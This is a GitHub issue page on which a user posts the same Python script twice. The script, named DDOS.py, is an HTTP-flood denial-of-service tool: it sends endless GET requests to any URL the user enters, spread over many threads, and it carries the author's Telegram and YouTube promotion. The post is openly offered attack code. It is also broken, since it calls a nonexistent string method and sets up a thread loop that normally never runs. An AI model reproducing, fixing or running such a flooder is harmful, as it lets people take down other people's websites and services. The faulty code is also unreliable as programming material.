BARAMEWING / BARA-GANTENG

0 stars 0 forks source link

DDOS.py #1

Open BARAMEWING opened 1 month ago

BARAMEWING commented 1 month ago

import os import colorama import threading import requests os.system("clear") print ("Telegram - @baramewing") print ("Chat - t.me/baramewing") print ("YouTube - https://youtube.com/@baragantengjir?si=843j38y_8WADQdel") print ("") print ("") print ("") print ("") def dos(target): while True: try: res = requests.get(target) print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE) except requests.exceptions.ConnectionError: print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!") threads = 9999999999999

url = input("URL: ")

try: threads = int(input("Threads: ")) except ValueError: exit("Threads count is incorrect!")

if threads == 0: exit("Threads count is incorrect!")

if not url.contains("http"): exit("URL doesnt contains http or https!")

if not url.contains("."): exit("Invalid domain")

for i in range(99999999999, threads): thr = threading.Thread(target=dos, args=(url,)) thr.start() print(str(i + 1) + " thread started!")

BARAMEWING commented 1 month ago

import os import colorama import threading import requests os.system("clear") print ("Telegram - @baramewing") print ("Chat - t.me/baramewing") print ("YouTube - https://youtube.com/@baragantengjir?si=843j38y_8WADQdel") print ("") print ("") print ("") print ("") def dos(target): while True: try: res = requests.get(target) print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE) except requests.exceptions.ConnectionError: print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!") threads = 9999999999999

url = input("URL: ")

try: threads = int(input("Threads: ")) except ValueError: exit("Threads count is incorrect!")

if threads == 0: exit("Threads count is incorrect!")

if not url.contains("http"): exit("URL doesnt contains http or https!")

if not url.contains("."): exit("Invalid domain")

for i in range(99999999999, threads): thr = threading.Thread(target=dos, args=(url,)) thr.start() print(str(i + 1) + " thread started!")